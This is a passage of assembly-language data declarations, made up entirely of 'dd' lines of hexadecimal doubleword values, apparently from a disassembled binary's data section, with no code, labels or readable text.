46646E4Ch, 0FA597C28h dd 7FE3CCF5h, 59359ADEh, 0BA0ED05Dh, 32565655h, 4ABE4B5Eh dd 7E162265h, 58431285h, 59D25C76h, 0C76B7082h, 6F420323h dd 9CAF5B19h, 12B5238Ch, 0C5D9A5A5h, 824CD258h, 8AFB6815h dd 5CD59B30h, 0BA847FF3h, 0A4AC61D4h, 5FB6429Eh, 0D34C9155h dd 0B0487455h, 0D531B63Eh, 0B08AA45Eh, 94B63DB6h, 3ECC9571h dd 13560CC5h, 4CAA0496h, 0F2A63265h, 0F0A8FC0Ch, 1D4400AAh dd 8F150F86h, 0EAB06945h, 8060DED4h, 3211CC5Dh, 577B59DDh dd 0A3C0E88Eh, 6435B146h, 3697882Dh, 0D2CA6F3Dh, 6214C02h dd 79CE0617h, 6AE8C6C4h, 0EAB2019Dh, 936C98B4h, 8A8DAF98h dd 30A824CCh, 0ED3BB28h, 8F1431h, 87C1BCE8h, 57C9F3B2h dd 30452F41h, 0E627C6EEh, 0B689D44Eh, 0ED227013h, 0CBE6DAC4h dd 860C7680h, 1162E2D9h, 89D7B20Ch, 627513AFh, 0F6C444EBh dd 0B0C29139h, 822A801Ah, 0F13A1541h, 28670274h, 2746689Dh dd 9D04E8Eh, 460813A2h, 84CF8624h, 0A0CBBF1Dh, 71838277h dd 45C2267h, 22762EA3h, 68C6C4EEh, 0A664F13Bh, 662A9CAAh dd 8042AAB0h, 40D5A9E9h, 0EF4678CDh, 42730CD3h, 2B7D73EFh dd 60EB7831h, 5203CD7Eh, 0D4ACAB04h, 51044992h, 0D59F76C7h dd 0B9DE0A95h, 0DC856021h, 43726DCEh, 0ACD0D25Bh, 2A414CB4h dd 0BA720181h, 9830D98Ch, 984B4844h, 6D2B9AA8h, 9D32EE04h dd 0CEE7030Bh, 0D4B9FC97h, 972B4451h, 0E2289820h, 0D0966682h dd 6A7096B7h, 8E9D0209h, 225D0FBBh, 46987490h, 1FBE572Fh dd 5374BC0h, 0F428840Ch, 0A21A0BBCh, 0B202CBB0h, 0DA186386h dd 101692AEh, 0A64E7594h, 58B6413h, 228C175Eh, 45459AFh dd 0D079D488h, 0C610D77Bh, 0A9F8263Ah, 2840112Bh, 42E1C3C6h dd 93B74D53h, 9F2269B1h, 0AFE380E3h, 0A798F254h, 2E243E93h dd 455D49Fh, 0B2DDC6A4h, 15A3A43Ch, 3AE789DBh, 0D997D664h dd 5D496EB4h, 2629C289h, 0B2ED460Dh, 0CD77D65Bh, 0C262182h dd 0E5D678FFh, 0F67C3BC5h, 0FF59E1D5h, 4526ED16h, 96D62AB6h dd 0E071FDF8h, 0AA0A97FDh, 0BAB1ACCAh, 870E7733h, 0E563462Bh dd 1EAFBDCDh, 0C209729Eh, 0D922175Ah, 0A6C22324h, 16018845h dd 8F586091h, 659FF56Eh, 345A9F13h, 4229CBFCh, 0FB71335Bh dd 72B1FAF3h, 0E87D625h, 0D929B0B9h, 0EBB32365h, 7F7BCD7h dd 0D7812458h, 0E6724EC6h, 2FB3DED6h, 0DC7A7F3Dh, 0F60231F6h dd 367139CEh, 0C15DCAFAh, 0D8699B4Dh, 266C4A5Ah, 92C15B8Ch dd 0E9EFBABAh, 0AB71D5E6h, 0D29062E0h, 9C02A1C7h, 0FB845F7Ah dd 43ED0B72h, 0C28B3C8h, 78480281h, 0BB6D4FFDh, 0DE0A274Bh dd 99B0200Ch, 2D299346h, 7B0B3802h, 0EA91F582h, 3ACAEFE3h dd 812EB886h, 7972AF97h, 0A5D38C67h, 6AFA7161h, 56CAF335h dd 8940A0F0h, 8E62AEA5h, 0D49D7FCFh, 0FB240515h, 44582BEAh dd 70891402h, 5DDh, 1000h, 0 dd 434A0042h, 652Ch, 0 dd 20C0E8BFh, 0CC494F66h, 2C036811h, 8A47A7FEh, 4B7FDB04h dd 83B3B29Fh, 487E1F57h, 14224703h, 7DFC5C31h, 52FD11ECh dd 252AA606h, 8129F408h, 5F1EEF03h, 0C1B697AEh, 4A31301Ah dd 0CF0F0F1Ch, 9256E1F9h, 4E07A016h, 395A23FCh, 1F041C1Fh dd 7E1CD87Eh, 33C7600Bh, 402DCE50h, 0F83CA3D3h, 0BEB014F2h dd 7F7500F4h, 0F4666057h, 0C8192824h, 921F8187h, 50C20227h dd 54347307h, 0C48403AFh, 6EB185E7h, 0EFB6D3h, 0BAB872AEh dd 0B0F131D0h, 55AD11ABh, 1D0842BFh, 940C3CD2h, 495E0ECFh dd 0C0C554F8h, 3C20ECF9h, 1794E1AFh, 151CE5A2h, 19C792EFh dd 6B27FD32h, 2C8D8E0Ch, 0D1E7620Bh, 0AEB285CFh, 4AF30FC2h dd 0CFE122D9h, 59DD4473h, 33892022h, 0E93CAD18h, 4C65C8DEh dd 6B788C42h, 30778FA4h, 10230224h, 89B14C36h, 0B3DDFF0h dd 12C092F6h, 0C23EC848h, 12DD73A4h, 7F187E2Fh, 7F1008C2h dd 0F8FEB494h, 3BF4D203h, 98D95D84h, 0B3D087Ch, 661689F5h dd 91A69B75h, 0E0C1D23Fh, 1080EAD4h, 9ABEF92Ch, 0E2B17596h dd 0A1B8830Bh, 6CAD4510h, 177AC5B0h, 0F0C92565h, 4383D515h dd 129C06EAh, 0A8842780h, 0BBE0AF2h, 84C42317h, 552B0FDBh dd 44A17C25h, 1E0F27FCh, 0A1C3E030h, 0CBCCADAh, 898984E0h dd 6419818h, 0EDEAA0D5h, 0FC0FDEC3h, 48B97F4Bh, 0F9E7B94Ch dd 0EE20BF3Eh, 6F5733D3h, 492B938h, 697E3E76h, 33149161h dd 0E78DC69Ah, 1BE43F1Dh, 6D982150h, 69EB3C08h, 0DC98A61Dh dd 4632B199h, 87E0ED85h, 0C163EFF9h, 49ECD7Fh, 8751C5F2h dd 1A3EE096h, 81E260B7h, 4B0B6036h, 0B30D09E4h, 8D857214h dd 0DAEDC8D5h, 3601D428h, 3BFCBD66h, 7D555BFh, 4CA16089h dd 909E2077h, 0AD14DA44h, 32B2BF88h, 8D5FB875h, 5B461232h dd 1EFA3BFEh, 260D9C11h, 6D3E2FD9h, 513851A2h, 0B3E356AEh dd 0F0C9010Eh, 6BA75505h, 85368FA5h, 0A0BC202Dh, 0F93F6378h dd 1B1015F3h, 0E64D3701h, 0FF2A049h, 0A2C87D4Ah, 0D115CBDCh dd 0B02D2F62h, 0FA359055h, 0D3E914DCh, 3134CDACh, 12D1EF96h dd 5BF878Ch, 0A0F8A139h, 8394B434h, 0A4DD406Ah, 0C2271F40h dd 5A0141ACh, 2E947432h, 0B537050Ch, 0EC5F4EB7h, 0C7A2FD20h dd 2811C698h, 0F60DD7C5h, 62621CD8h, 611B5615h, 4390D603h dd 0C97482E1h, 0E28D3AD3h, 0DDCFD0h, 0F03C3F3Ch, 0B2119881h dd 0F7408310h, 763754C4h, 9AAD836Fh, 42278795h, 18076ABEh dd 2FF6D955h, 0A389D0A3h, 0C32B781Fh, 1D021DE2h, 0CE707871h dd 9069E975h, 0AA368ED7h, 2A47B459h, 0BCF0E3A9h, 173C8A15h dd 4E9C7AE0h, 97D780A7h, 1A62A8BFh, 62D07C41h, 63D33537h dd 0D367F295h, 0F1D6B2ADh, 5F1B71Eh, 2020EEA5h, 358C0F22h dd 63B3A3C7h, 0A1F89D59h, 56A3277Fh, 0B051DB69h, 10F04C76h dd 392D797Fh, 455A9F1Eh, 0DA97F858h, 0F4B0137Ch, 305EC10h dd 0FA2CF64Eh, 103DC343h, 49C9C6C8h, 6E4A1B07h, 0B9505F75h dd 3BA3C11Ch, 4A558ECFh, 941B1075h, 0D055AB7Ch, 3E0F022Dh dd 68BDC1D4h, 256DEEDFh, 3D9F74Bh, 6CD7902Dh, 0E77EDAD0h dd 90F8967Eh, 42BA25Fh, 9403BA18h, 229627DAh, 8E8DF0CDh dd 0C3F1BD75h, 102CCE2Eh, 74073BECh, 0BA90140Dh, 44C3DF87h dd 96377841h, 0D158205Dh, 3051DE59h, 9421BB79h, 0E029FA78h dd 0E1F8CC99h, 15835BBDh, 2EB262E0h, 0A05A46D1h, 3192891Fh dd 5BA43E90h, 687E0A76h, 4813237Fh, 891F76B4h, 96C2CAB1h dd 59869720h, 0B3B21E5Bh, 0ED38333Dh, 0C54C3456h, 0C4D0ED8h dd 10B8F0FCh, 5AE72A5h, 0EC063D3Dh, 0C0515A88h, 0D5ED174Ch dd 25BF995Fh, 6C8FE07h, 0EFDEB55Fh, 0E1097EFBh, 8F11903Ch dd 0CD7ED010h, 8F0E643Fh, 6E4783E0h, 727AE8E5h, 8E622B52h dd 0F7A06FE7h, 1806D61Bh, 3E85C037h, 0CA1BDD71h, 0A6E9DA16h dd 8AE6D62Bh, 0ED687A21h, 0B201F87h, 1C2D19BAh, 0E81C6421h dd 0D4271F86h, 0A72ED216h, 0D66D4505h, 452377FBh, 2F567B06h dd 6CF22ADFh, 176B0696h, 0B2BD8995h, 4CFD4F48h, 567530E0h dd 59D16205h, 0AB6D8DB4h, 6AEF74CBh, 0B826E2F8h, 0C07BA0BDh dd 1472C13Ch, 0D10608A0h, 9688AD21h, 41C6D569h, 0F1755841h dd 4A97E307h, 0CAA042F8h, 4083C526h, 391A0ABBh, 8C09F5A8h dd 0FF7A40Ah, 3415FC70h, 24D4F17Dh, 85AE8520h, 0C88E25AAh dd 4E17FFC5h, 0A170C070h, 7AB6607Bh, 0FA082DC6h, 0E8F1C5F7h dd 0AE88E5F4h, 0A1187E13h, 38A44E6Ah, 0AEF5E592h, 8E5A31Fh dd 2B2FC0ECh, 0F92E580Ch, 5B67B6FEh, 0BA8DADDBh, 4CFB156Bh dd 4473DBE8h, 50D09429h, 0BC9A4C07h, 0C4EBFB9h, 0D6FF4C24h dd 8FB0A671h, 5CA620B3h, 990858A0h, 8C17FC40h, 0F2FB0DA8h dd 32EA278Bh, 3215FE5Fh, 1B64E005h, 8619CB05h, 111BD7CBh dd 0FBDABF98h, 3E040945h, 0FC718EB5h, 0D7A56A09h, 0A6E35B68h dd 0C0D65B99h, 0B9BFAC4Ch, 7DE61B8Dh, 45F04C14h, 23E0529h dd 0A51AA428h, 0CDC6A91h, 454A74CFh, 0C6DC1BB0h, 8F6740D1h dd 0EC546F2Eh, 23F2A8F9h, 523F0794h, 0BAA1FB60h, 0B6F2569Ch dd 970AE0E7h, 0B40958AAh, 1108CF94h, 550C6D57h, 0D9B8A201h dd 0E886F2E0h, 4972B67Ch, 31BE88A8h, 0F301377Dh, 6D9BEDC9h dd 50AF0CE2h, 0B8785500h, 4C612A5Ah, 14054453h, 8E503574h dd 39D17902h, 1EEE2B39h, 812BDFE7h, 54EA0143h, 0EC85FA04h dd 3A1F83D1h, 4FC2A267h, 0C06D79A4h, 0CFE28AD1h, 669366EAh dd 0A7834DFDh, 879D8F46h, 207F385h, 52DD0FD1h, 0B03C7EF2h dd 0CFA4FF3Ah, 0F6B36BF6h, 0F5AC0FCAh, 45883719h, 0E158FE80h dd 49C8A754h, 0E173797h, 94D5FD4Fh, 2BB76E12h, 0B52329F4h dd 7B108E40h, 0CBADFF6Fh, 7D11BE40h, 0EF9A6CDh, 6E9A5C8Eh dd 7BDE850h, 0EC879C3Dh, 0F1B4AC66h, 282B3DD5h, 67E17D00h dd 1DE613A8h, 45FE1B5h, 33B3D83Eh, 0A209E8A1h, 572C3CD2h dd 296CB50Dh, 5A7F2A76h, 884443EFh, 0FAADF078h, 6E025ECDh dd 0CB48D5FAh, 0E8677E7Bh, 0D5587E06h, 83276C4Bh, 0D8DC0C09h dd 0A5BB968Ah, 452D4A16h, 0E544F13Eh, 0CAE979AFh, 0E25E7DC8h dd 24EB4F55h, 980C5033h, 6BA0ADF2h, 6EA94A74h, 375619C6h dd 236C0EDDh, 6C521F80h, 0AC44DCBCh, 1673941Ah, 6C2FDA2Ch dd 10FABE58h, 165E6228h, 0C4A190B5h, 645BDD2Eh, 81F55E1Dh dd 0A898B5B4h, 6E7C90C7h, 95A2DBA9h, 758198E0h, 0F09509AFh dd 6D0108Bh, 0D170E626h, 7DA78EE8h, 0C357B344h, 9F4697CEh dd 4EED70FDh, 375EDD4Fh, 0BEC952C5h, 0F4143FCDh, 16BD47B3h dd 0A6A4DC5Bh, 0BE06A766h, 389AAFE1h, 0BDA5BE53h, 0B0622E7h dd 4E2CA8D2h, 74BD7081h, 86EC7570h, 0F03C0F26h, 0E922C55Ah dd 30BEE03Dh, 0FBFC3875h, 9C5C1639h, 237385B2h, 34A46E8Ch dd 738C0398h, 0B954320Fh, 0F582D780h, 0F7BFB772h, 2499A328h dd 5800AF5Eh, 8A0ABDD5h, 1F499950h, 21F11950h, 0BEB47F65h dd 9AC8EAA4h, 0B1019850h, 670E095Ch, 80C485CFh, 0C4BFAB5Bh dd 0C5D30E43h, 170AE9BFh, 0E00E0EC5h, 0E828F3Ah, 0C4B0491Eh dd 0CF4F160Fh, 3C4734D9h, 0BFDB7F11h, 0B5848827h, 12E3766Dh dd 3EC402E4h, 3A3DAFD9h, 17FF4679h, 3CF9A022h, 0F2E5673Ch dd 0D40F559Ah, 0AD0FC4E1h, 8A8A7EA7h, 266E0CE5h, 0BD30C5FEh dd 0C30AFAE2h, 740E96BAh, 0BA30260h, 270DF941h, 0C0CFF0B2h dd 0C1035BB2h, 0F343F1BFh, 59C875F3h, 2F402BB0h, 0EAE07A7Fh dd 8B67BEDDh, 87A691AFh dd 48D6B1BBh, 0D70AFE07h, 0CFEBF6E2h, 2765FEF9h, 53D63CA1h dd 7E3DBF51h, 5E5499BBh, 0BDF5A06Dh, 0D60B32F2h, 5B7C0F1h dd 78D2DEF7h, 5C76AADh, 8B5CCFB7h, 0E58EF140h, 77FD9852h dd 9D07339Bh, 0B42A16Ah, 196EF1BBh, 460EA4A5h, 9B7D37EDh dd 2E5EA8E8h, 42FAC670h, 0F6BA8395h, 62BA7FCh, 5806525h dd 260C4B64h, 0F5E7D6B0h, 0D5AD117Dh, 0C53EB35Eh, 95ACE411h dd 0A011C0F3h, 0BBD90C02h, 0E0E5DAC9h, 0AB3190ACh, 4C17E8B4h dd 3E756340h, 2BB9FAF0h, 7810A726h, 2EC4186Bh, 313E2A95h dd 4ED195DCh, 0D527D5BCh, 0FCCCE2Fh, 114305DFh, 0C7D7346h dd 0F5D6F86Ah, 52DC1C02h, 5E6C65A2h, 173968C6h, 0D968E1F8h dd 0E92CD507h, 95E52488h, 9FF1133Eh, 0B9EC1D8Eh, 29249C19h dd 703C6DA1h, 29366589h, 56844DEFh, 8F1B85EDh, 0FF80805Ah dd 244207FAh, 97AB0DB7h, 0A18075Ch, 989AD589h, 9587E221h dd 0D550D8C0h, 9EE2F0ADh, 9BEA95A3h, 312294C4h, 54394E6Eh dd 9D613965h, 53490E44h, 6CC4C72Fh, 6C266D51h, 76DFD6DAh dd 72EF6D00h, 0FAAE9766h, 4FC33168h, 9AE53AFAh, 3FB94039h dd 0F2C5D6E4h, 6274AC07h, 2EA3689Ch, 52257575h, 0EA7BF7F1h dd 0FAF6783h, 17C752A0h, 0E04571FCh, 0DB617F86h, 3BB84949h dd 13F1F681h, 0C6AF60D3h, 0BE8A2A21h, 10151489h, 42950A1h dd 0A503F18h, 3E41700Ch, 88036EC2h, 0EA2F103Ah, 86FB22A7h dd 0DF1E649h, 34CA6D8Fh, 93C5FDB2h, 61EED568h, 9C4761CDh dd 0DE4AD503h, 82846A4Ah, 49371A16h, 331E4A5Fh, 0A5AE542h dd 7BAB202Bh, 0E69BFA40h, 0A9CE59B5h, 89048D51h, 8D3C556Ah dd 0A93100EBh, 814F5B6Bh, 81EF49B8h, 75D89DA3h, 0B5A50A9h dd 0B53397CDh, 5476A080h, 0E7394E76h, 0DE0F3DADh, 1A597C81h dd 4CA4BBC8h, 1FF5A18Bh, 4DCAEBBDh, 0C4C1ED18h, 0E8C063F4h dd 7150FC79h, 171E4C0Fh, 67717FA2h, 5A1CA9A7h, 4E8070B6h dd 0EE1DB38Ch, 0EC1DB5AAh, 5CF1C462h, 0F0838E10h, 0D002CEFBh dd 0F6B24B72h, 68703548h, 6A30A5A1h, 0F0C58060h, 22F93D67h dd 0F8855E07h, 3D7FCA3h, 7A6E3E38h, 1FB7F7BFh, 9FFC40F8h dd 0D5EC58D9h, 7D3A781Eh, 41AD4E32h, 0E0A2198Fh, 0A04869ADh dd 0D24C0FE2h, 0A3B2382Ah, 0CF48193Eh, 0FBAA5E37h, 0CD7B7301h dd 0E341F0F5h, 0F507650Ah, 53EFBEC0h, 0DE3C9F67h, 93C7EA95h dd 1C1DBF2Ah, 35DF6A07h, 0C2703AD8h, 0D8599518h, 4A5FFBE3h dd 0C62FEF9Fh, 6AAABE6Fh, 0BF1C2C21h, 375BCE6h, 2860612Ch dd 0F2DB7AEh, 988DD4DFh, 0ADB045AAh, 768D1E87h, 0F0FCE56Ah dd 0FB6DF879h, 0A5486744h, 7AD0A7F6h, 1DC66472h, 0AFD8A815h dd 315A8814h, 0F2FD2265h, 4C015E9Eh, 212FCC9Ah, 0B0D7E5CBh dd 2B295808h, 0F44FF0B8h, 0CAE17F06h, 0D2CD9B8Bh, 365912E7h dd 6DFF2F83h, 0EDDB2EE1h, 9261783Ch, 8DA9C79h, 0C385FD70h dd 3FB8E40Bh, 50AC4F69h, 79E7B947h, 0BE583A6Eh, 0BBB65FC5h dd 0CCB5167h, 0FC1E1444h, 0D14E4C55h, 0A9479FDBh, 0F3557C07h dd 1F832DCFh, 0AF46656Fh, 0B2D153C9h, 6637CF8Ch, 970703F1h dd 0C9C6EC14h, 685481Ah, 90053A84h, 0D9CDB436h, 5933FD2h dd 916DE3DBh, 70ED1A08h, 0EC4AB95Ah, 0C0F2A65Fh, 2D45B057h dd 2326BD5Eh, 5A8E585Dh, 0F52EABFh, 7DBAA7E2h, 6AFAD335h dd 4A8BB915h, 294DF47Dh, 31B2E8E0h, 71EEEA4Ah, 1D956C3Eh dd 4A02E4CCh, 3BBBE5CAh, 78B4A80Ah, 7533E532h, 0C8857663h dd 0C054B54Ch, 2B99B684h, 167F3FE7h, 0A52FA2ACh, 0E4B2E645h dd 0EEA22377h, 1B77141h, 22C03396h, 0B2C9C9D9h, 0CB98C4B0h dd 85F3B16Fh, 0BC1D0032h, 125D3C9Eh, 27CD04DFh, 5C570138h dd 97293C5Ch, 3EC05828h, 9E0E311Bh, 22A8A285h, 1C3CAC0Bh dd 0D3343F1Bh, 0A795079Eh, 7BCCD506h, 24957A19h, 2B8AFD16h dd 2EAD18A8h, 13F64B43h, 0B83C7890h, 10F5AC55h, 2019D375h dd 544B3755h, 6D847E1Fh, 83DC7CDBh, 75B4F72Eh, 0F0E3187h dd 5BFECEE9h, 142A2150h, 512BE6BAh, 6C148691h, 0CFBF66D1h dd 0FDAF093Eh, 0DE4D33AAh, 0FD307C28h, 15A32D36h, 43F1E35h dd 0A92D54FEh, 0B18354D0h, 0B35140BBh, 0E7D34590h, 8CBDFB16h dd 53253E34h, 6C3FCED1h, 8FFB6EA8h, 85B11136h, 0D260B801h dd 5E4D501Bh, 76D747BCh, 0AD680AEBh, 0CE25F2DEh, 88643210h dd 8DCADF81h, 67F5A727h, 0C861E03Bh, 0CA2510FCh, 17295254h dd 0E9F6C99h, 2E6E852Eh, 0DA27472Ah, 1514E74Dh, 66FE4EEAh dd 2A86E8B9h, 64DF3520h, 934BF739h, 0FC0F77Eh, 8D857465h dd 7EB59249h, 851B4B20h, 0B45AA4CDh, 74DCE8BAh, 0B48D5D78h dd 0A9950013h, 0E92EC0FDh, 0BB1F0FCCh, 0C1EF0B70h, 21DCDE12h dd 0C4A6E7E5h, 0B59DAC38h, 13A1D673h, 0CA1A1FFEh, 0F12D6024h dd 1394E9ECh, 60EA4AD1h, 0FC4DCA3h, 0E3CFC6D4h, 8445AE99h dd 65DB381Ch, 0D68F3588h, 61F7B0A3h, 72EA54F2h, 46B5818Bh dd 0E15685FAh, 522A5CE9h, 68376838h, 3E78214Fh, 6B6E269Bh dd 0CB56B452h, 2A5D7B6Ah, 0B2C9F244h, 0E3697FF9h, 0FEFC0FEAh dd 0D3ACD13h, 6D13997Ah, 0A59276Bh, 7F5FA8E2h, 0F9AB7015h dd 67ECE168h, 0EAC4A681h, 1DC09B9Bh, 40F9D662h, 0FCFCE5F3h dd 0E1E6B479h, 6483AFBCh, 0DCAD4334h, 79A8F21Eh, 0E7FA3F90h dd 0A57A0056h, 206727EBh, 0BB5B23E6h, 65C9972Bh, 20D8B416h dd 543D6D32h, 9CE76B06h, 0C1CF30BFh, 8A5BB545h, 84B7A8A3h dd 9B5CD80Ah, 0F3ECE0F3h, 50ABDA37h, 0C77035FBh, 0DFB0FC12h dd 5ED7C31h, 0B57A27B7h, 0EEFFD91Bh, 0A3BD5198h, 0C419B3B5h dd 9143E6D4h, 6841CF02h, 56ED2E95h, 7D763817h, 2B55112Ch dd 85F39C2Dh, 0BDC18168h, 9001A3E1h, 0F028852Bh, 2494A520h dd 7DE6BC24h, 0F6F9EC58h, 0BF1FFA72h, 85297687h, 6F69C3FFh dd 0BDB9BE3Ch, 71E19A7Eh, 0E29DE6AFh, 2C0840EAh, 0A1212D9h dd 96D69673h, 3EEF545h, 0AE593059h, 0FDE67D00h, 2A75739Eh dd 84F48582h, 0FAE6E003h, 19B58F2Ch, 1F0A28D0h, 9E4333Dh dd 0EE4BDB2Dh, 0B3A450D0h, 81962C8Eh, 8FD132FFh, 0FBE14A75h dd 27C342FCh, 0B4D65A8Ah, 36C7C4ACh, 86968E94h, 1DAFB174h dd 713CD10Dh, 3E1351C1h, 0E3444093h, 89D7D986h, 7D59CFA9h dd 0C7667655h, 1825030Bh, 41046FFAh, 731030Ch, 2FC9CCDBh dd 770BE1E0h, 78171A27h, 3E8A5F90h, 0B0C99ABDh, 184A68Dh dd 622368BBh, 29419D69h, 0C2CB2D72h, 15DEC43h, 46D308B2h dd 31B0A035h, 0C53D54D9h, 0B4ED266Bh, 208E12A7h, 7B2D269h dd 909DF63h, 0A06DFEBEh, 42F8581Eh, 9CEA1F4Fh, 5D2EEF7Eh dd 3382AF7Eh, 8ACF66E0h, 8AF0D168h, 0C5D405AFh, 0E9E444EFh dd 48EA58BEh, 0AAA11B67h, 622271A1h, 7BD5B639h, 2C0FE3E3h dd 189F3825h, 6D70B03Fh, 0EB84C8AAh, 6B266E57h, 0C37C106Fh dd 342D62A5h, 2D18076Ch, 96ECFD57h, 4BF31102h, 5D2E54D2h dd 505B28FBh, 0D5F53FA8h, 1F14083Eh, 0B838B03Ch, 115254A2h dd 920AFDC7h, 0F07BB4D3h, 0CC270176h, 75653750h, 17AE2B1Dh dd 4F9269B9h, 0B2AF570Eh, 0DCCC0310h, 86D54FDAh, 93451976h dd 6E3F5Fh, 1B05FC46h, 848144C3h, 8768CC29h, 39B4BC0h dd 3C7B6228h, 0DB1A4F07h, 9AF4C5DBh, 0CF62FA6Dh, 0AF546B6Fh dd 0CB6DBCCEh, 0F0785170h, 21FDF2C2h, 0A3C6E95Ah, 0DD9903B6h dd 175D4A2Eh, 9DAA5A92h, 0C4F601E7h, 7D385C9Dh, 87F1ECh dd 711D0B18h, 0A994ECB2h dd 59DEE2C4h, 0DF322E8Ch, 0EEB58131h, 0B0E7F362h, 0D68FA411h dd 56E76E2Ch, 3F015391h, 7E3731Bh, 0CE1E6B40h, 0B3D9C6F2h dd 0CD24A0B9h, 0F4E4414Ah, 9CE3FB60h, 0F03CFAD6h, 39D6164h dd 6EE6C313h, 7C0F06Ah, 0D6FC37C6h, 65EB333h, 0E9024F92h dd 90A09B69h, 46C6B35Eh, 0C5C43610h, 13BD2AEAh, 0E8749ECAh dd 870D4BB4h, 2557C5FEh, 16F26D35h, 0C5691B2Ch, 0BD8368AFh dd 0A972C15Bh, 7F0E59F0h, 8DE07D19h, 9D348A92h, 968E14B5h dd 20A5732h, 765D56B2h, 6F6D1DBAh, 49B11417h, 1F0701A0h dd 49EFDA02h, 1B5BBBC5h, 0C11CC745h, 1B25716Dh, 0BC521702h dd 391DFB8h, 382F71CAh, 0A18A8E2h, 8B593B35h, 45FAEE61h dd 21B2BE4h, 34D0061Fh, 7E9F80B5h, 37EAD7ADh, 0DFA22E2Dh dd 59F9BE8Eh, 80AB5437h, 0F979C6EFh, 50E1F81Ah, 0C4742E0Bh dd 7AC04167h, 731703FBh, 0F62CD3DDh, 9E9563ABh, 0FEA3FB6Bh dd 6B8731BAh, 0A968B598h, 0FBE07974h, 0B844C2A2h, 3078A51h dd 0B15DFF15h, 888D2570h, 0BAEEF912h, 0E7D34057h, 434A03DDh dd 17257936h, 0ED517134h, 0D2323FCBh, 9DF7595Eh, 570F50BFh dd 5BB387h, 0AB699021h, 6C24555Ch, 52E58D13h, 0ED13566Bh dd 725F0E46h, 0FCC85BD4h, 96A906C4h, 0A0D0FC37h, 56480AFDh dd 9DEBB6C2h, 6C1182B3h, 292846F8h, 0EDB17F0Ah, 0C607DDB5h dd 3FA48817h, 0F34B3577h, 69483444h, 0A8E8289Eh, 4401DBA1h dd 878F38A5h, 2F904409h, 0CB1A4C5h, 0A7A98E26h, 3D81FEF7h dd 2D3755D9h, 0EEF1E7EDh, 141D4E03h, 47C1E047h, 0DCA2B400h dd 93A8A300h, 0AF271D81h, 0E15B76BEh, 0B6A44D3Ch, 9D49FBC8h dd 0BF7DB048h, 0E9BCA974h, 4AC4F9CDh, 38576348h, 2B46931Fh dd 72F9097Fh, 6D2130DDh, 29DBB92Bh, 998DBFBAh, 0E2410F57h dd 5C89AA48h, 0DA98A2BCh, 0E42AC3EDh, 0FC5C816Eh, 0E29DD412h dd 4405FA5Fh, 0F2CD4643h, 0D16D3770h, 0A0291A9Eh, 6F5F5675h dd 9BA95A32h, 18AC9F2Eh, 0B41D5E0Dh, 0D5BE215Eh, 0EEBA4BF4h dd 6F12F9BCh, 8D529670h, 51F572C0h, 0A75B5B73h, 0E2734AEBh dd 55ED456Ah, 768D896Ch, 4F555C7Bh, 21A08BDAh, 8571DA3Ch dd 5F98EDC0h, 8A87898h, 4B6C119Dh, 8401641h, 0C135DA71h dd 3A97698Fh, 6F13D8ACh, 0D6D68FB4h, 52DD0FA0h, 593E95F8h dd 0BAB34989h, 87607A32h, 0CF4FE8B4h, 63B9FB8Eh, 0ABD2C9DAh dd 0AAAC2672h, 0E7E84EDCh, 60BE5103h, 1D373BADh, 0B2C8C4EAh dd 9883ADDEh, 0CFD857BBh, 77812F06h, 0BFC0BBC0h, 0EDFC4216h dd 0DE39B254h, 533F2AF5h, 0F27E3730h, 0A04DCCB8h, 355201F3h dd 1320466Ch, 0A07EB55Ch, 0A7B46819h, 0C7BCD9F9h, 522768F3h dd 4D5BC1BCh, 56718A27h, 0F69E709Ah, 0E8CD4F44h, 886CBF07h dd 0FE2A133h, 35226EADh, 0A3C719F7h, 0E49DA809h, 4DF20D24h dd 42A1FEDDh, 5C3EFC01h, 9D80A5D1h, 0C2F07D71h, 0A54239DCh dd 0E9206B4Ah, 109421F8h, 0F9CF078h, 0F5334C3Fh, 2E67DA0Dh dd 0CD8D83A3h, 0FB5146DBh, 0EAD22DA5h, 7025BBBFh, 0C41A5936h dd 34E4B3DDh, 0CB4479E4h, 86F1D5C6h, 2EF28AEh, 75CBF03Eh dd 17397551h, 0DBE9B916h, 0AFDAA39h, 68E7E625h, 13CAC3D9h dd 0B19AD34Fh, 0D819C540h, 0B2EC491Ch, 0F7B8A09Ah, 8E36EA33h dd 9ADC7C94h, 0CA522F51h, 0B45AE578h, 296BE69Dh, 0C0FC08ADh dd 63161598h, 0C82D800h, 307863FFh, 0D36EF111h, 0E889466Ch dd 4E33556Ch, 59BA948Fh, 0C149B462h, 699A081Bh, 0AC70D81Fh dd 9617230Eh, 85038FD3h, 0DCF24329h, 9B489D27h, 0FBD7F06Bh dd 44E0E592h, 0D7F96A18h, 0BE28B883h, 5A2271Ah, 6BC6FC65h dd 41DBA7F2h, 4B538C70h, 82E0F023h, 4EE31B3Dh, 496104E7h dd 9731029Fh, 9D5A76E6h, 15BB9B0Bh, 244BDC04h, 14CBB73h dd 5FC91273h, 0E558EA0Ah, 5BDDC3B8h, 617815EFh, 0E6540D4Eh dd 0E6FED110h, 902A56A7h, 0D28807BFh, 0D300AF8h, 554260FFh dd 6CAE79Ah, 77AD6AF1h, 5F7422AAh, 6229ACC3h, 88808E4Fh dd 5F3D6061h, 0EE3B1836h, 0EE5750B4h, 6E719A28h, 9D6178B4h dd 0C08B461Eh, 0C5E2BAC1h, 1DC0F604h, 485E07C1h, 4FD5F525h dd 20B90788h, 7A4B7137h, 1B733A6Ah, 3D197669h, 0B73BE58Eh dd 0E88F6F4h, 30D3B599h, 41288EFAh, 0DF16E7CAh, 0C038B938h dd 2E19291Fh, 221F8DE0h, 38005A3Bh, 0EEF06B7Eh, 638BB63Ah dd 2A9BB6E8h, 8E07E3D3h, 0CC9CA670h, 4941C090h, 967A55A2h dd 819A7598h, 0CC5BE54Dh, 0D49106C7h, 7234D2ADh, 0F5C7AB47h dd 5E1F8A9Ah, 0DA2972Fh, 4D8AE690h, 0E73D9CE6h, 6EBB359Eh dd 6E887C76h, 0B75D1AECh, 710B3687h, 0CAA1226Ah, 0B2168FADh dd 606FF570h, 287E0F5Bh, 8578299h, 53330317h, 0EF1274B7h dd 4E78B071h, 274A0930h, 180587FAh, 0EF9A2B81h, 0EBC7E5B3h dd 1D6070F1h, 0BA7C3D1Ch, 0D1B1136Bh, 0CBDBFE69h, 8038A73Ch dd 24940832h, 0A1B9CC0h, 59D75B5Dh, 0C344DD5Ah, 474BC38Bh dd 14DE8C9Eh, 1F86EE28h, 0BF707CD0h, 648BC230h, 0F751FEEFh dd 6D079BEFh, 0F97A65BCh, 7D4E1AF9h, 0F6A14E12h, 0CF81575Ah dd 6F81C741h, 0FAE1AACEh, 